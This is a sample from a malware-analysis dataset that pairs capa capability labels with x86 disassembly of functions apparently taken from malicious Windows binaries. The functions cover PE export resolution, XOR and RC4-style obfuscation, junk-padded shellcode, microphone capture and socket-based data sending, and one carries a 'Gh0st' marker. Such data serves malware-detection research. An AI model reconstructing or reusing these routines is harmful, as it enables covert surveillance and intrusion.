joyce8/EMBER2024-capa huggingface dataset:
Function at 0xf6e8e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0xceb19f
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov ecx, ebx
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0xf6e991
add edx, ebx
mov eax, edx
mov esi, dword [eax + 0x18]
mov edx, dword [eax + 0x1c]
add edx, ebx
mov dword [ebp - 0x10], edx
mov edi, dword [eax + 0x20]
add edi, ebx
mov edx, dword [eax + 0x24]
add edx, ebx
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 4]
cmp edx, 0xffff
jbe 0xf6e97a
test esi, esi
jbe 0xf6e991
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.00ea4e44
test eax, eax
jne 0xf6e96c
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0xf6e991
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0xf6e949
jmp 0xf6e991
mov ecx, edx
sub ecx, dword [eax + 0x10]
cmp ecx, dword [eax + 0x14]
jae 0xf6e991
mov eax, ecx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0xceb1a6
ret
Function at 0xf6f3c0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ecx
mov word [ebp - 2], dx
xor eax, eax
push ebp
push 0xcebd6f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00e9f180
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0xf6f3fb
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0xf6f414
lea eax, [ebp - 0x10]
mov edx, dword [0xd4bc48]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.00e9f1e0
jmp 0xf6f427
lea eax, [ebp - 0x10]
mov edx, dword [0xd4bc48]
mov edx, dword [edx]
mov edx, dword [edx + 0x14]
call fcn.00e9f1e0
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0xf6f433
adc edx, 0
mov edx, dword [edx*4 + 0xd398ac]
call fcn.00e9f3ec
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00e9f3d0
push eax
call fcn.00ea134c
mov esi, eax
cmp esi, 0xffffffff
je 0xf6f541
mov eax, 0x40
call fcn.00e9cf14
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x40
push edi
push esi
call fcn.00ea175c
test eax, eax
je 0xf6f534
mov eax, edi
cmp word [eax], 0x5a4d
jne 0xf6f534
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00ea17cc
mov eax, edi
call fcn.00e9cf34
mov eax, 0x18
call fcn.00e9cf14
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x18
push edi
push esi
call fcn.00ea175c
test eax, eax
je 0xf6f534
mov eax, edi
cmp dword [eax], 0x4550
jne 0xf6f534
add eax, 4
mov dx, word [eax]
cmp dx, 0x14c
jb 0xf6f534
cmp dx, 0x150
ja 0xf6f534
mov eax, edi
call fcn.00e9cf34
mov eax, 0xe0
call fcn.00e9cf14
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0xe0
push edi
push esi
call fcn.00ea175c
test eax, eax
je 0xf6f534
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 2]
jne 0xf6f534
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 8]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00e9f1bc
mov eax, edi
call fcn.00e9cf34
push esi
call fcn.00ea1304
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.00e9f4f8
jne 0xf6f559
inc ebx
cmp ebx, 0x19
jne 0xf6f3ed
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0xcebd76
lea eax, [ebp - 0x10]
call fcn.00e9f180
ret
Function at 0xf6f87c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
xor ebx, ebx
push 0
push 0
push 0
push edi
call fcn.00ea17cc
push 0
lea eax, [ebp - 4]
push eax
push 0x40
push esi
push edi
call fcn.00ea175c
test eax, eax
je 0xf6f919
cmp word [esi], 0x5a4d
jne 0xf6f919
push 0
push 0
mov eax, dword [esi + 0x3c]
push eax
push edi
call fcn.00ea17cc
push 0
lea eax, [ebp - 4]
push eax
push 0x18
lea eax, [ebp - 0x1c]
push eax
push edi
call fcn.00ea175c
test eax, eax
je 0xf6f919
cmp dword [ebp - 0x1c], 0x4550
jne 0xf6f919
lea edx, [ebp - 0x18]
mov ecx, 0x14
mov eax, dword [ebp + 0xc]
call fcn.00ea21c0
mov ax, word [ebp - 0x18]
cmp ax, 0x14c
jb 0xf6f919
cmp ax, 0x150
ja 0xf6f919
push 0
lea eax, [ebp - 4]
push eax
push 0xe0
mov eax, dword [ebp + 8]
push eax
push edi
call fcn.00ea175c
test eax, eax
je 0xf6f919
mov bl, 1
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x43b669
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov eax, 0x43b3c1
or ecx, ebx
mov ebx, 0x72f422eb
call fcn.0043b692
add ecx, ecx
xor dword [edx], eax
mov ecx, ecx
inc edx
sub ebx, 1
cmp edx, edi
jne fcn.0043b669
dec ecx
inc ecx
ret
Function at 0x414779
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004100b5
xor ebx, ebx
cmp dword [0x4244a8], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x41484e
push 0x41cb64
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x4147b9
xor eax, eax
jmp 0x414912
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41cb58
push edi
call esi
cmp eax, ebx
je 0x4147b2
push eax
call fcn.00410052
mov dword [esp], 0x41cb48
push edi
mov dword [0x4244a8], eax
call esi
push eax
call fcn.00410052
mov dword [esp], 0x41cb34
push edi
mov dword [0x4244ac], eax
call esi
push eax
call fcn.00410052
mov dword [0x4244b0], eax
lea eax, [ebp - 8]
push eax
call fcn.0040eac1
test eax, eax
pop ecx
pop ecx
je 0x41481c
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040cbfb
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x41484e
push 0x41cb18
push edi
call esi
push eax
call fcn.00410052
cmp eax, ebx
pop ecx
mov dword [0x4244b8], eax
je 0x41484e
push 0x41cb00
push edi
call esi
push eax
call fcn.00410052
pop ecx
mov dword [0x4244b4], eax
mov eax, dword [0x4244b4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x4148c7
cmp dword [0x4244b8], esi
je 0x4148c7
push eax
call fcn.004100be
pop ecx
call eax
cmp eax, ebx
je 0x414894
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4244b8]
call fcn.004100be
pop ecx
call eax
test eax, eax
je 0x414894
test byte [ebp - 0x18], 1
jne 0x4148c7
lea eax, [ebp - 0xc]
push eax
call fcn.0040eaf8
test eax, eax
pop ecx
je 0x4148af
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040cbfb
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x4148be
or dword [ebp + 0x10], 0x200000
jmp 0x4148f8
or dword [ebp + 0x10], 0x40000
jmp 0x4148f8
mov eax, dword [0x4244ac]
cmp eax, esi
je 0x4148f8
push eax
call fcn.004100be
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4148f8
mov eax, dword [0x4244b0]
cmp eax, esi
je 0x4148f8
push dword [ebp - 4]
push eax
call fcn.004100be
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x4244a8]
call fcn.004100be
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x408939
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x4085d8
sub edx, 0x9a524127
call fcn.0040895a
xor dword [ebx], eax
inc ebx
cmp ebx, ecx
jne fcn.00408939
sub edi, 0xaecfe71
sub edi, edi
ret
Function at 0x7ffe53d3
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword fs:[0x30]
nop
push edx
cdq
pop edx
clc
lea esp, [esp]
nop
pushal
inc eax
popal
cld
pushal
inc eax
popal
cld
lea esp, [esp]
nop
and bh, 0xff
clc
push edx
cdq
pop edx
cld
lea esp, [esp]
clc
push edx
cdq
pop edx
nop
and bh, 0xff
stc
and bh, 0xff
nop
lea esp, [esp]
nop
add eax, 0
cld
lea esp, [esp]
cld
push edx
cdq
pop edx
clc
push edx
cdq
pop edx
stc
push edx
cdq
pop edx
clc
pushal
inc eax
popal
stc
lea esp, [esp]
cld
add eax, 0
clc
add eax, 0
stc
push edx
cdq
pop edx
cld
nop
call 0x7ffe5438
pop edx
cld
add al, 0
clc
xor dx, dx
push edx
cdq
pop edx
cld
clc
add edx, 0xd5e0
cld
xor ecx, ecx
push edx
cdq
pop edx
stc
cld
mov cl, 0x1e
cld
xor byte [ecx + edx], 0x12
loop 0x7ffe5456
and bh, 0xff
stc
push dword fs:[0x24]
push edx
cdq
pop edx
cld
lea esp, [esp]
stc
pop dword [edx + 0xa]
pushal
inc eax
popal
mov cl, 0xff
nop
cld
cld
stc
push edx
loop 0x7ffe547b
clc
cld
mov dword [edx + 0x11], 0xffffacbb
add eax, 0
mov ecx, dword [eax + 0x2c]
stc
cld
mov dword [edx + 0x1b], ecx
lea esp, [esp]
mov dword [edx + 0x100], ecx
nop
add eax, 0
cld
push es
pop ds
cld
mov dword [eax + 0x2c], esp
nop
clc
clc
push 0
nop
push 0
and bh, 0xff
cld
cld
nop
push 0
add eax, 0
nop
push 0
clc
cld
push 0x30
add eax, 0
cld
cld
stc
cld
push 0x20
clc
lea esp, [esp]
cld
push 0
stc
stc
push 0
stc
add edx, 0xffff7f36
clc
and bh, 0xff
push edx
cdq
pop edx
push edx
add al, 0
clc
push edx
add eax, 0
stc
push 0
push edx
cdq
pop edx
inc esi
dec esi
stc
call dword [edx + 0x820d]
add esp, 0x3f8
xor eax, eax
cld
lea esp, [esp]
cld
nop
cld
inc eax
and bh, 0xff
cld
stc
ret 0xc
Function at 0x7ffe8354
Capabilities:
Encode data using xor

Disassembly:
stc
add eax, 0
nop
nop
pop eax
clc
add eax, 0x11
mov byte [eax], 5
and bh, 0xff
call 0x7ffe8354
stc
nop
add eax, 5
stc
and bh, 0xff
cld
mov ecx, eax
push edx
cdq
pop edx
clc
call 0x7ffe8313
lea esp, [esp]
cld
stc
clc
cld
pop eax
cld
lea esp, [esp]
stc
and al, 0xf9
cld
add eax, 0x15
cld
mov byte [eax], 5
call fcn.7ffe84d6
cld
cld
nop
add eax, 5
clc
clc
xchg ecx, eax
cld
pushal
inc eax
popal
stc
sub ecx, eax
pushal
inc eax
popal
cld
xor byte [eax + ecx], 0x66
add eax, 0
cld
nop
cld
stc
loop 0x7ffe8341
cld
and bh, 0xff
cld
cld
pop ecx
mov fs, word [esi + 0x66]
in ax, 0xa6
popal
mov al, byte [0xd38e6366]
in ax, 0xa6
arpl di, bp
and edx, dword [edx + 0x6666668e]
in ax, 0xa6
popal
mov al, byte [0xc38e6366]
in ax, 0xa6
arpl di, bp
jecxz 0x7ffe83b5
nop
cdq
cdq
mov fs, word ss:[esi + 0x66]
add byte ds:[ebp - 0x5a], dl
out dx, eax
jecxz 0x7ffe831e
xchg edi, eax
cdq
cdq
mov fs, word ss:[esi + 0x66]
mov al, byte ds:[0x8e636326]
pop esi
sub byte [esi + 0x66], ah
in eax, 0xa6
insb byte es:[edi], dx
out dx, eax
jecxz 0x7ffe83e4
nop
cdq
cdq
mov fs, word ss:[esi + 0x66]
mov al, byte ds:[0x8e636326]
mov al, byte ds:[0x8e636326]
sub byte [edx], cl
in ax, 0xa6
insb byte es:[edi], dx
out dx, eax
jecxz 0x7ffe8402
nop
cdq
cdq
mov fs, word ss:[esi + 0x66]
mov al, byte ds:[0x8e636326]
and ch, byte [ecx - 0x591a6667]
insb byte es:[edi], dx
out dx, eax
and eax, dword [edx + 0x66e6df3e]
out 0x66, al
in ax, dx
adc eax, dword [edx - 0x68692415]
cdq
cdq
xchg ebp, eax
ret
dec ebp
sub edx, dword [edx + 0x379e2bef]
xor dword [esi], esi
salc
imul ch
sub ebx, dword [esi - 0x61252413]
cdq
cdq
xchg ebp, eax
int3
Function at 0x5e2b45
Capabilities:
Encode data using xor

Disassembly:
aad 0xa4
jmp 0x5e2ae8
mov eax, dword [0xe561677f]
jnp 0x5e2ab5
sub byte [esi], ch
jg fcn.005e2a94
mov dword [ebx + 0x65], edi
xor al, 0xb5
mov ebx, 0xfc2fb1e3
das
cld
and byte [0x2520fe8d], ah
cmc
xor eax, 0xfc8128e3
cmp esp, 0x7818acc0
cmp dh, byte [ecx + esi*2 - 0x4ad69a85]
mov eax, 0x82ecaed7
pop esi
aas
sub al, 0x73
invalid
mov bl, 0x2c
scasb al, byte es:[edi]
sub al, 0xae
and byte [0x28e6f73b], dh
sub al, 0x73
outsb dx, byte gs:[esi]
sub bh, bh
sbb esi, dword [ecx]
adc eax, 0x2b28da53
aad 0x66
outsb dx, byte [esi]
sub byte [0xc82c319d], bh
push cs
mov bh, 0xb8
jecxz 0x5e2b57
pushfd
ja 0x5e2b0c
pop ecx
adc al, 0xee
cli
sub byte [edx + esi*2], ch
push eax
xor dword [eax + edx*8], edx
rcr ch, 1
sub byte [esp + edi], ch
popfd
sub eax, 0xe64c82c
enter 0xe64, 0xffffffffffffffaf
invalid
enter 0xe64, 0xffffffffffffffaf
pop edi
jecxz 0x5e2ad4
mov eax, 0x732c29d7
sub al, 0x73
fidiv dword [ebx + 0x29657b71]
mov ch, 0xb8
shr dword [esi + 0x6b5e82ec], cl
sub al, 0x73
fisub dword [ebx + 0x71]
jg 0x5e2b50
sub dword [ebp - 0x13512c48], esi
sbb byte [esi + 0x6b], 0x2c
jae 0x5e2b3d
mov eax, 0x82ecaed3
pop esi
imul ebp, dword [ebx + esi*2], 0xffffffda
arpl word [ecx + 0x7f], si
jmp 0xdad18018
lodsd eax, dword [esi]
push esp
jae fcn.005e2b45
sub byte [edi + 0x1478e3cb], dh
sub dl, bl
sub byte [ebx], ch
neg dword [eax + 0x25]
sub al, 0x82
pop esi
xor al, 0x2c
jae 0x5e2b59
mov bl, 0x71
outsd dx, dword [esi]
xor dword fs:[esp + ebx*2], 0x732c28f6
outsb dx, byte gs:[esi]
xor al, 0xfc
adc dword [0xb728da73], edi
mov eax, 0x6f71b2d3
imul si, word [esp + edi*8], 0x2120
adc eax, 0x2b28da2a
aad 0xa4
jmp 0x5e2bdc
invalid
Function at 0x5e4028
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
pushal
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x5e4117
mov ecx, eax
mov ebx, dword [ecx + 0x3c]
add ecx, ebx
mov ecx, dword [ecx + 0x7c]
test ecx, ecx
je 0x5e4117
mov dword [ebp - 4], ecx
mov ebx, eax
mov ecx, dword [ebx + 0x3c]
add ebx, ecx
mov ebx, dword [ebx + 0x78]
add ebx, eax
mov dword [ebp - 8], ebx
mov eax, dword [ebp + 0xc]
test eax, 0xffff0000
je 0x5e40c3
mov ecx, dword [ebx + 0x18]
test ecx, ecx
je 0x5e4117
dec ecx
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x20]
add eax, dword [ebp - 0xc]
push ecx
shl ecx, 2
add eax, ecx
mov eax, dword [eax]
add eax, dword [ebp - 0xc]
push edi
push dword [ebp + 0xc]
push eax
call dword [edi + 0x124a8059]
pop edi
pop ecx
test eax, eax
jne 0x5e407c
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x24]
add eax, dword [ebp - 0xc]
shl ecx, 1
add eax, ecx
movzx ecx, word [eax]
jmp 0x5e40c9
mov ecx, dword [ebp + 0xc]
sub ecx, dword [ebx + 0x10]
mov ebx, dword [ebp - 8]
mov eax, dword [ebx + 0x14]
cmp ecx, eax
jge 0x5e4117
mov eax, dword [ebp - 0xc]
mov edx, dword [ebx + 0x1c]
add edx, eax
shl ecx, 2
add edx, ecx
cmp dword [edx], 0
je 0x5e4117
mov ebx, dword [edx]
add eax, ebx
mov dword [ebp - 0x10], eax
cmp eax, dword [ebp - 8]
jle 0x5e4117
sub eax, dword [ebp - 8]
cmp eax, dword [ebp - 4]
jge 0x5e4117
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.005e3f71
mov dword [ebp - 0x10], eax
popal
mov eax, dword [ebp - 0x10]
leave
ret 8
Function at 0x10004185
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x44], 0
mov dword [esi], 0x10003210
je 0x100041d5
push dword [esi + 0x18]
call dword [sym.imp.WINMM.dll_waveInStop]
push dword [esi + 0x18]
call dword [sym.imp.WINMM.dll_waveInReset]
push 2
lea edi, [esi + 0x30]
pop ebx
push 0x20
push dword [edi]
push dword [esi + 0x18]
call dword [sym.imp.WINMM.dll_waveInUnprepareHeader]
add edi, 4
dec ebx
jne 0x100041ae
push dword [esi + 0x18]
call dword [sym.imp.WINMM.dll_waveInClose]
push 0xffffffffffffffff
push dword [esi + 0x2c]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp byte [esi + 0x45], 0
je 0x10004206
push dword [esi + 0x40]
call dword [sym.imp.WINMM.dll_waveOutReset]
push 2
lea edi, [esi + 0x30]
pop ebx
push 0x20
push dword [edi]
push dword [esi + 0x40]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
add edi, 4
dec ebx
jne 0x100041ea
push dword [esi + 0x40]
call dword [sym.imp.WINMM.dll_waveOutClose]
push 2
lea edi, [esi + 0x30]
pop ebx
push dword [edi - 0x28]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [edi]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [edi - 0x20]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [edi + 8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x10
add edi, 4
dec ebx
jne 0x1000420c
push dword [esi + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esi + 0x28]
call edi
push dword [esi + 0x2c]
call edi
pop edi
pop esi
pop ebx
ret

Function at 0x100042f0
Capabilities:
Capture microphone audio
Create thread
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, ecx
call dword [sym.imp.WINMM.dll_waveInGetNumDevs]
test eax, eax
je 0x10004340
lea eax, [ebp - 4]
xor esi, esi
push eax
push 4
push edi
push 0x1000443a
push esi
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x20000
push esi
push dword [ebp - 4]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x46]
lea ebx, [edi + 0x18]
push eax
push 0xffff
push ebx
call dword [sym.imp.WINMM.dll_waveInOpen]
test eax, eax
je 0x10004344
xor al, al
jmp 0x100043a5
lea esi, [edi + 0x30]
mov dword [ebp - 8], 2
mov eax, dword [esi]
mov ecx, dword [esi - 0x28]
push 0x20
mov dword [eax], ecx
mov eax, dword [esi]
mov ecx, dword [edi + 4]
mov dword [eax + 4], ecx
mov eax, dword [esi]
and dword [eax + 0x10], 0
mov eax, dword [esi]
and dword [eax + 0x14], 0
push dword [esi]
push dword [ebx]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
add esi, 4
dec dword [ebp - 8]
jne 0x1000434e
mov eax, dword [edi + 0x1c]
push 0x20
push dword [edi + eax*4 + 0x30]
push dword [ebx]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
push dword [edi + 0x2c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebx]
call dword [sym.imp.WINMM.dll_waveInStart]
mov byte [edi + 0x44], 1
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004975
Capabilities:
Initialize winsock library

Disassembly:
mov eax, 0x10014130
call fcn.10013bc0
sub esp, 0x19c
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x18], esi
lea ecx, [esi + 4]
call fcn.100046ad
xor ebx, ebx
lea ecx, [esi + 0x2c]
mov dword [ebp - 4], ebx
call fcn.100046ad
lea ecx, [esi + 0x54]
mov byte [ebp - 4], 1
call fcn.100046ad
lea ecx, [esi + 0x7c]
mov byte [ebp - 4], 2
call fcn.100046ad
push 0x10001504
push 0x100014f4
mov byte [ebp - 4], 3
mov dword [esi], 0x10003228
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x1a8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push ebx
push ebx
push 1
push ebx
call edi
or dword [esi + 0xa8], 0xffffffff
mov dword [esi + 0xac], eax
lea eax, [ebp - 0x14]
push 5
push eax
lea eax, [esi + 0xb0]
push eax
mov byte [esi + 0xb5], bl
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0x13], 0x68
mov byte [ebp - 0x12], 0x30
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x10], 0x74
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0xc]
add esp, 0xc
mov eax, esi
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10004afb
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov esi, ecx
call fcn.100051fd
push dword [esi + 0xac]
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xor ebx, ebx
mov byte [esi + 0xb5], bl
mov eax, dword [0x10014da4]
cmp eax, ebx
je 0x10004b36
cmp eax, 4
je 0x10004b36
cmp eax, 5
jne 0x10004bca
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xa8], eax
je 0x10004bca
cmp dword [0x10014da4], ebx
je 0x10004b5c
push 0x10014da8
jmp 0x10004b5f
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
cmp edi, ebx
je 0x10004bca
cmp dword [0x10014da4], ebx
mov word [ebp - 0x20], 2
je 0x10004b82
mov ax, word [0x100014f0]
push eax
jmp 0x10004b85
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1e], ax
mov eax, dword [edi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x10004bca
cmp dword [0x10014da4], 5
jne 0x10004bce
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call fcn.10004c4a
test al, al
jne 0x10004bce
xor al, al
jmp 0x10004c43
push 1
lea eax, [ebp - 1]
pop edi
mov byte [ebp - 1], 1
push edi
push eax
push 8
push 0xffff
push dword [esi + 0xa8]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10004c21
push ebx
lea eax, [ebp - 1]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp - 0x10]
push 0xc
push eax
push 0x98000004
push dword [esi + 0xa8]
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], 0x2bf20
mov dword [ebp - 8], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push edi
push ebx
push ebx
push esi
push 0x10004f01
push ebx
push ebx
mov byte [esi + 0xb5], 1
call fcn.1000d153
mov dword [esi + 0xa4], eax
add esp, 0x1c
mov al, 1
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x100053ab
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
cmp eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.WS2_32.dll_send]
mov ebx, ecx
mov dword [ebp + 8], eax
jb 0x1000541b
and dword [ebp - 8], 0
push 0
push dword [ebp + 0x10]
push esi
push dword [ebx + 0xa8]
call edi
test eax, eax
jg 0x100053ec
inc dword [ebp - 8]
cmp dword [ebp - 8], 0xf
jl 0x100053d1
cmp dword [ebp - 8], 0xf
je 0x10005451
add dword [ebp - 4], eax
add esi, dword [ebp + 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0x10]
sub dword [ebp + 8], eax
cmp dword [ebp + 8], eax
jae 0x100053cd
cmp dword [ebp + 8], 0
jle 0x10005449
and dword [ebp + 0x10], 0
push 0
push dword [ebp + 8]
push esi
push dword [ebx + 0xa8]
call edi
test eax, eax
jg 0x10005440
inc dword [ebp + 0x10]
cmp dword [ebp + 0x10], 0xf
jl 0x10005425
cmp dword [ebp + 0x10], 0xf
je 0x10005451
add dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
je 0x10005454
or eax, 0xffffffff
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x10005596
Capabilities:
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push ebx
push esi
push edi
push 0x100015ec
mov esi, ecx
push 0x100014f4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x11c]
xor edi, edi
push 0x105
push ecx
mov dword [ebp - 8], edi
call eax
push 0x100015d4
lea eax, [ebp - 0x11c]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
inc eax
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [esi + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x11c]
push eax
call esi
lea eax, [ebp - 0x11c]
push 0x10001590
push eax
call esi
push edi
lea eax, [ebp - 0x224]
push 0x23
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x224]
push 0x10001560
push eax
lea eax, [ebp - 0x224]
push 0x10001558
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x11c]
mov esi, 0x1000
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x224]
push esi
mov dword [ebp - 0x10], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x14
mov dword [ebp - 4], eax
lea ebx, [ebp - 0x14]
mov dword [ebp - 0xc], 2
mov edi, dword [ebp - 4]
push esi
push 0
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebx]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov eax, edi
cmp byte [eax], 0
je 0x1000569d
inc dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [edi + eax + 1], 0
lea edi, [edi + eax + 1]
jne 0x10005688
add ebx, 4
dec dword [ebp - 0xc]
jne 0x10005668
push dword [ebp - 4]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [ebp - 8]
pop ecx
pop edi
pop esi
pop ebx
leave
ret